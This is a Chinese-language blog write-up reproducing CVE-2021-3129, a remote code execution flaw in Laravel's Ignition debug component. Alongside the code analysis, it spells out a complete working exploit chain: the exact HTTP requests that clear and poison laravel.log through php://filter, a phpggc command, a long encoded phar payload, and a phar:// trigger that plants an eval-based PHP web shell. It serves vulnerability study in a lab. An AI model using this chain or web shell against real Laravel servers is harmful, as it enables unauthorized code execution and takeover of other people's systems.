Laravel远程代码执行(CVE-2021-3129)漏洞复现
本文最后更新于 2024-09-26,文章内容可能已经过时。
Laravel远程代码执行(CVE-2021-3129)漏洞复现
一、漏洞概述
Laravel是一套简洁的,优雅的PHP Web开发框架。它可以让你从面条一样杂乱的代码中解脱出来;它可以帮你构建一个完美的网络APP,而且每行代码都可以简洁,富裕表达力。
当Laravel开启了Debug模式的时候,由于Laravel自带的ignition组件对file_get_contents()
和file_put_contents()
函数的不安全使用,攻击者可以通过gnition组件发送恶意请求,构造恶意的Log文件等方式触发Phar反序列化,最终导致远程代码执行。
影响版本:
Laravel 框架 <= 8.4.2
ignition 组件 < 2.5.2
二、漏洞分析
环境搭建:
centos7 (192.168.91.128)
手动安装:
根据原文(https://www.ambionics.io/blog/laravel-debug-rce)的搭建方式,把服务开起来。
$ git clone https://github.com/laravel/laravel.git
$ cd laravel
$ git checkout e849812
$ composer install
$ composer require facade/ignition==2.5.1
$ php artisan serve
如果没有composer命令参照这个文章安装:https://blog.csdn.net/wamp0001/article/details/130032385
如果没有php环境执行如下命令进行安装:
yum -y install php php-mysql gd php-gd gd-devel php-xml php-common php-mbstring php-ldap php-pear php-xmlrpc php-imap
docker安装(推荐):
git clone https://github.com/SNCKER/CVE-2021-3129.git
cd CVE-2021-3129/
docker-compose up -d
(我这里端口8888端口被占用,所以临时修改了docker-compose.yml里映射的端口)
搭建完成后,打开配置文件 laravel/config/app.php,找到 'debug’项设置为true(开启debug模式):
(docker可以先docker exec -it [容器名] /bin/bash进入容器后找到文件修改)
访问浏览器对应的端口,出现以下页面表面搭建完毕
kali攻击机(192.168.91.129)
1、漏洞存在判别
Laravel环境搭建完成之后,第一次访问首页,会出现报错"No application encryption key has been specified"(未指定应用加密密钥),其在下方给我们提供了一个修复的方案(Ignition组件提供)
点击页面中的"Generate app key",会生成对应应用的密钥,这里我们就可以使用Burp Suit拦截该请求。
可以看到调用了生成密钥的解决方案:GenerateAppKeySolution
然后修改请求正文的sulution
参数,修改为MakeViewVariableOptionalSolution
(本次漏洞的触发点)如下:
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters":{
"variableName" : "asdf",
"viewFile": "asdfghj"
}
}
发送修改后的请求,若返回结果为500,且提示file_get_contents()的报错的时候,则有此漏洞。
可以看到抓包内容,明显调用了file_get_contents()方法,这里asdfghj是随便写的文件名,当然会显示不存在。
或者如下图,提示file_get_contents()方法调用失败,没有对应的文件或者目录,但是出现如下界面,也能表示漏洞存在。
2、漏洞代码分析
Laravel在第六版之后,debug模式使用了ignition组件来美化堆栈信息,ignition还附带了‘一键修复bug’的功能,为我们提供了一些快速修复部分错误的解决方案(solution),在vendor\facade\ignition\src\Solutions下我们可以看到这些solutions,如下:
而本次漏洞就是其中的MakeViewVariableOptionalSolution.php
对传入的相关参数过滤不严谨导致的。首先我们来看看Laravel是如何去调用对应的solution的,在solution的控制器中
到执行solution的控制器ExecuteSolutionController.php里面中去看看是如何调用solution的:
(vendor\facade\ignition\src\Http\Controllers\ExecuteSolutionController.php)
从上面可以看到,在ExecuteSolutionController
中会去调用对应的solution的run方法并传入参数,getRunnableSolution()
方法获取到相应的solution名,然后调用solution对象中的run()
方法,并将获取的可控的parameters
参数传过去。而这个参数就是前面抓包时候请求正文中的parameters
参数,所以说这个输入参数是可控的,
通过这个点我们就可以调用到MakeViewVariableOptionalSolution::run()
了,跟进MakeViewVariableOptionalSolution
中的run()方法:
(vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php)
其中,我们重点关注viewFile
这个参数,代码中对它进行了如下处理:
$contents = file_get_contents($parameters['viewFile']);
file_put_contents($parameters['viewFile'], $contents);
可以看到这里主要功能点是:读取一个给定的路径$parameters['viewFile']
,并替换读取到的内容中的$variableName
为$variableName ?? ''
,之后写回文件中$parameters['viewFile']
,这相当于什么都没有做!
其中file_put_contents($parameters['viewFile'],$output);
这行代码会将makeOptional()方法的结果输出到对应的文件中(viewFile参数指定)
可以看到其中的$originalContents = file_get_contents($parameters[‘viewFile’])
这行代码,对传入的parameter参数没有进行任何过滤且其中的参数可控。所以这里就可以通过Phar://伪协议的方法进行饭反序列化,攻击者构造一个含有恶意代码的压缩包文件,通过Phar://伪协议进行读取后,Laravel就会自动解压缩后进行反序列化,最后执行其中的恶意代码。
如果后期利用框架进行开发的人员写出了一个文件上传的功能,那么我们就可以上传一个恶意phar文件,利用上述的file_get_contents()
去触发phar反序列化,也会达到RCE的效果。
整体的利用流程:
ExecuteSolutionController->__invoke() -> ExecuteSolutionRequest -> getRunnableSolution() -> getSolution() -> MakeViewVariableOptionalSolution->run()
日志文件的利用
如果当我们无法直接上传phar文件进行漏洞利用的时候,有什么办法可以在不上传文件情况下进行漏洞利用呢?答案是使用Laravel日志文件——laravel.log。将该文件变为一个合法的phar文件进行利用,laravel.log记录了laravel的报错的信息,像前面的我们利用相应的POST请求判断是否存在此漏洞时,输入了一个不存在的viewFile,导致报错,此时会将viewFile的值输出到日志文件中,如下图:
从上面不难发现一次报错信息输出,会在三个地方出现viewFile的值,前两处会完整输出,而最后一处会输出部分内容。有此我们可以得出该log日志文件的格式如下:
[时间] [报错信息字符串] viewFile的值 [报错信息字符串] viewFile的值[报错信息字符串]
...
[报错信息字符串] 部分的viewFile的值 [报错信息字符串]
...
因为一个文件是否是phar文件的标准是其是否携带了phar文件的头部。所以如果我们能通过控制log文件中输出的viewFile配合makeOptional()方法中的file_get_contents()
和file_put_contents()
这两个方法将log文件改造成一个phar文件,则可以完成RCE漏洞的利用。
3、漏洞利用步骤
(1)清理日志
我们要利用这个log文件,首先就要清空日志,因为在实际环境中日志文件不可能为空,其会有以前的报错信息。如何清除呢?这里就需要用到php://filter
中的convert.base64-decode
过滤器的特性:
file_put_contents('test.txt','||@@##',base64_encode('test').'[{}]');
echo file_get_contents('php://filter/read=convert.base64-decode/resource=test.txt');
利用kali的php交互命令行演示
可以看到convert.base64-decode过滤器会将一些非base64字符过滤掉后在进行base64解码(如图,最后输出的是test)。于是我们可以将日志文件的所有内容转化为非base64编码出现的字符串,而后再使用convert.base64-decode过滤器读取,此时读取到的内容就为空,接着在run()方法中就会调用file_put_contents()方法将空的内容输出到日志文件中,从而将日志文件清空,最后我们可以使用以下三步来进行字符集转换,使得读取的文件内容全部转换为非base64字符。
convert.iconv.utf-8.utf-16be // UTF-8 -> UTF-16BE
convert.quoted-printable-encode // 打印不可见字符
convert.iconv.utf-16be.utf-8 // UTF-16BE -> UTF-8
上述步骤综合起来则可以使用以下代码进行利用:
php://filter/write=convert.iconv.utf-8.utf-8-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log
burp发送如下数据包,将日志文件清空。
POST /_ignition/execute-solution HTTP/1.1
Host: IP:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 330
{
"solution": "Facade\\\\Ignition\\\\Solutions\\\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
}
}
返回200表示清除成功。
(2)写入符合规范的phar文件
保留有效载荷并删除其余部分
我们从上面知道可以通过过滤器将读取的文件内容进行字符集转换,于是我们可以先讲payload转换为其他字符集,而后再读取时候对整体日志文件内容再转换成原本的payload的字符集,这里使用先将utf-8转换成utf-16,利用时再将utf-16转换成utf-8
//输出含有utf-16编码的payload
echo -ne '[prefix]P\0A\0Y\0L\0O\OA\0D\0[midfix]P\0A\0Y\0L\0O\0A\0D\0[suffix]' > test.txt
//php命令中执行如下,将utf-16转换成utf-8
echo file_get_contents('php://filter/read=convert.iconv.utf-16le.utf-8/resource=test.txt');
如图,去除payload中重复的中文字符和多出来的payload就可以进行利用了
- 去除重复的payload
从上面的实验结果来看,我们发现当有俩个payload的时候就会输出两个payload,后续进行base64编码的时候必定会报错,所以我们要想一个办法将payload只输出一个。而utf-16be以两个字节为单位,所以我们可以在末尾添加一个字节来错位,使得只有一个payload得以输出,如下添加一个字节X,使得只输出一个payload:
(因为到X的时候,解析会从新开始,后面的payload就会报错,导致被解析成中文)
echo -ne '[prefix]P\0A\0Y\0L\0O\OA\0D\0X[midfix]P\0A\0Y\0L\0O\0A\0D\0X[suffix]' > test.txt
- 日志文件内容的2字节对齐
日志文件不一定是两个字节,这时候我们需要进行对齐处理,而之前我们知道每个报错信息日志输出的格式基本一致,所以我们可以先发一个无关紧要的PAYLOAD_A,再发送一个PAYLOAD_B用于利用,此时日志文件
[prefix]、[midfix]和[suffix]与payload_A和payload_B一起出现两次,日志文件的内容的格式就对齐了。日志文件格式如下:
[prefix]PAYLOAD_A[midfix]PAYLOAD_A[suffix]
[prefix]PAYLOAD_B[midfix]PAYLOAD_B[suffix]
(这样日志文件的内容就是两个字节,就不会发生报错)
- 空字节的写入
在我们使用file_get_contens()传入\00的时候,php可能会报错,无法将空字节(\00)写入到文件中,而php为了将不可见的字符打印出来,提供了convert.quoted-printable-encode过滤器,其将字符串转换为ascii码前面加了个=号
同理也可以使用convert.quoted-printable-decode过滤器将对应的字符还原。
通过上面这一系列的步骤,现在我们可以在日志文件中写入我们想写入的东西了,后续就是找到RCE的反序列化的POC链生成对应的phar文件内容,将其输入到日志文件中,最后用过phar://伪协议去触发反序列化进行利用。
三、漏洞复现
1、环境搭建
被攻击的服务器:
centos7(192.168.91.128)
靶场环境:vulhub/laravel:8.4.2(docker环境)
环境搭建:(进入vulhub对应目录直接使用docker-compose进行拉取)
cd /vulhub/laravel/CVE-2021-3129
docker-compose up -d
访问浏览器8080端口,出现如下页面说明环境搭建成功。
攻击机:
kali(192.168.91.129)
POC利用工具:
反序列化利用链生成工具:https://github.com/ambionics/phpggc
2、复现步骤
(1)访问/_ignition/execute-solution
路径,使用Burp进行拦截,修改请求方法为POST,修改Content-Type为application/json,添加如下请求正文,发送请求,清空laravel日志。(如果报错500,多执行几遍就行)
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "aaaa",
"viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
}
}
如上图,显示200,表示日志成功被清空。
(2)利用phpggc工具指定利用链为Laravel/RCE5生成反序列化利用的POC,此处为写入一句话木马到shell.php文件中
#首先构造一句话木马,进行base64编码
// <?php @eval($_POST['a']);?>
PD9waHAgQGV2YWwoJF9QT1NUWydhJ10pOz8+
#cd到phpggc工具目录中,执行如下:
php -d "phar.readonly=0" ./phpggc Laravel/RCE5 "system('echo PD9waHAgQGV2YWwoJF9QT1NUWydhJ10pOz8+|base64 -d > /var/www/html/shell.php');" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"
(3)发送AA生成无害payload,方便后面进行对齐」
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "asdf",
"viewFile": "AA"
}
}
(4)发送POC到服务器
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "asdf",
"viewFile": "=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=70=00=4E=00=41=00=67=00=41=00=41=00=41=00=51=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=58=00=41=00=67=00=41=00=41=00=54=00=7A=00=6F=00=30=00=4D=00=44=00=6F=00=69=00=53=00=57=00=78=00=73=00=64=00=57=00=31=00=70=00=62=00=6D=00=46=00=30=00=5A=00=56=00=78=00=43=00=63=00=6D=00=39=00=68=00=5A=00=47=00=4E=00=68=00=63=00=33=00=52=00=70=00=62=00=6D=00=64=00=63=00=55=00=47=00=56=00=75=00=5A=00=47=00=6C=00=75=00=5A=00=30=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=43=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6C=00=64=00=6D=00=56=00=75=00=64=00=48=00=4D=00=69=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=51=00=6E=00=56=00=7A=00=58=00=45=00=52=00=70=00=63=00=33=00=42=00=68=00=64=00=47=00=4E=00=6F=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=59=00=36=00=49=00=67=00=41=00=71=00=41=00=48=00=46=00=31=00=5A=00=58=00=56=00=6C=00=55=00=6D=00=56=00=7A=00=62=00=32=00=78=00=32=00=5A=00=58=00=49=00=69=00=4F=00=32=00=45=00=36=00=4D=00=6A=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B=00=31=00=76=00=59=00=32=00=74=00=6C=00=63=00=6E=00=6C=00=63=00=54=00=47=00=39=00=68=00=5A=00=47=00=56=00=79=00=58=00=45=00=56=00=32=00=59=00=57=00=78=00=4D=00=62=00=32=00=46=00=6B=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=41=00=36=00=65=00=33=00=31=00=70=00=4F=00=6A=00=45=00=37=00=63=00=7A=00=6F=00=30=00=4F=00=69=00=4A=00=73=00=62=00=32=00=46=00=6B=00=49=00=6A=00=74=00=39=00=66=00=58=00=4D=00=36=00=4F=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=5A=00=58=00=5A=00=6C=00=62=00=6E=00=51=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=67=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=51=00=6E=00=4A=00=76=00=59=00=57=00=52=00=6A=00=59=00=58=00=4E=00=30=00=61=00=57=00=35=00=6E=00=58=00=45=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=45=00=56=00=32=00=5A=00=57=00=35=00=30=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=45=00=77=00=4F=00=69=00=4A=00=6A=00=62=00=32=00=35=00=75=00=5A=00=57=00=4E=00=30=00=61=00=57=00=39=00=75=00=49=00=6A=00=74=00=50=00=4F=00=6A=00=4D=00=79=00=4F=00=69=00=4A=00=4E=00=62=00=32=00=4E=00=72=00=5A=00=58=00=4A=00=35=00=58=00=45=00=64=00=6C=00=62=00=6D=00=56=00=79=00=59=00=58=00=52=00=76=00=63=00=6C=00=78=00=4E=00=62=00=32=00=4E=00=72=00=52=00=47=00=56=00=6D=00=61=00=57=00=35=00=70=00=64=00=47=00=6C=00=76=00=62=00=69=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6A=00=62=00=32=00=35=00=6D=00=61=00=57=00=63=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=55=00=36=00=49=00=6B=00=31=00=76=00=59=00=32=00=74=00=6C=00=63=00=6E=00=6C=00=63=00=52=00=32=00=56=00=75=00=5A=00=58=00=4A=00=68=00=64=00=47=00=39=00=79=00=58=00=45=00=31=00=76=00=59=00=32=00=74=00=44=00=62=00=32=00=35=00=6D=00=61=00=57=00=64=00=31=00=63=00=6D=00=46=00=30=00=61=00=57=00=39=00=75=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=63=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=35=00=68=00=62=00=57=00=55=00=69=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=59=00=57=00=4A=00=6A=00=5A=00=47=00=56=00=6D=00=5A=00=79=00=49=00=37=00=66=00=58=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=32=00=39=00=6B=00=5A=00=53=00=49=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=44=00=4D=00=36=00=49=00=6A=00=77=00=2F=00=63=00=47=00=68=00=77=00=49=00=48=00=4E=00=35=00=63=00=33=00=52=00=6C=00=62=00=53=00=67=00=6E=00=5A=00=57=00=4E=00=6F=00=62=00=79=00=42=00=51=00=52=00=44=00=6C=00=33=00=59=00=55=00=68=00=42=00=5A=00=31=00=46=00=48=00=56=00=6A=00=4A=00=5A=00=56=00=33=00=64=00=76=00=53=00=6B=00=59=00=35=00=55=00=56=00=51=00=78=00=54=00=6C=00=56=00=58=00=65=00=57=00=52=00=6F=00=53=00=6A=00=45=00=77=00=63=00=45=00=39=00=36=00=4F=00=43=00=74=00=38=00=59=00=6D=00=46=00=7A=00=5A=00=54=00=59=00=30=00=49=00=43=00=31=00=6B=00=49=00=44=00=34=00=67=00=4C=00=33=00=5A=00=68=00=63=00=69=00=39=00=33=00=64=00=33=00=63=00=76=00=61=00=48=00=52=00=74=00=62=00=43=00=39=00=7A=00=61=00=47=00=56=00=73=00=62=00=43=00=35=00=77=00=61=00=48=00=41=00=6E=00=4B=00=54=00=73=00=67=00=5A=00=58=00=68=00=70=00=64=00=44=00=73=00=67=00=50=00=7A=00=34=00=69=00=4F=00=33=00=31=00=39=00=66=00=51=00=67=00=41=00=41=00=41=00=42=00=30=00=5A=00=58=00=4E=00=30=00=4C=00=6E=00=52=00=34=00=64=00=41=00=51=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=78=00=2B=00=66=00=39=00=69=00=6B=00=41=00=51=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=48=00=52=00=6C=00=63=00=33=00=52=00=66=00=31=00=33=00=64=00=77=00=53=00=71=00=69=00=6E=00=31=00=6D=00=4B=00=6A=00=51=00=67=00=75=00=56=00=30=00=31=00=74=00=63=00=52=00=4A=00=6E=00=6F=00=47=00=51=00=49=00=41=00=41=00=41=00=42=00=48=00=51=00=6B=00=31=00=43=00a"
}
}
(这里记得最后的地方要加一个a,因为要发送错位信息,不然发送的是两个payload,解析不到)
(5)发送如下请求,消除多余的字符串,使得日志信息只留下一个payload
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "asdf",
"viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
}
}
可以在docker容器中查看日志信息,发现只剩下我们想要的payload的一句话木马文件内容。
(6)访问文件,使用phar://伪协议进行反序列化
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "asdf",
"viewFile": "phar://../storage/logs/laravel.log/test.txt"
}
}
可以看到通过反序列化已经在容器内生成了shell.php文件
192.168.91.128:8080/shell.php指定post请求a=phpinfo();
修复建议
在MakeViewVariableOptionalSolution.php
中添加对应敏感过滤函数,对$parameters['viewFile']
进行过滤,禁止其利用伪协议,禁止读取敏感文件等。
参考:
Laravel Debug 模式 反序列化远程代码执行POP链 https://www.cnblogs.com/zpchcbd/p/14702897.html
Laravel Debug RCE 分析:https://xz.aliyun.com/t/9165
Laravel <= v8.4.2 debug mode: Remote code execution:https://www.ambionics.io/blog/laravel-debug-rce
CVE-2021-3129详解:https://www.freebuf.com/vuls/273654.html
- 感谢你赐予我前进的力量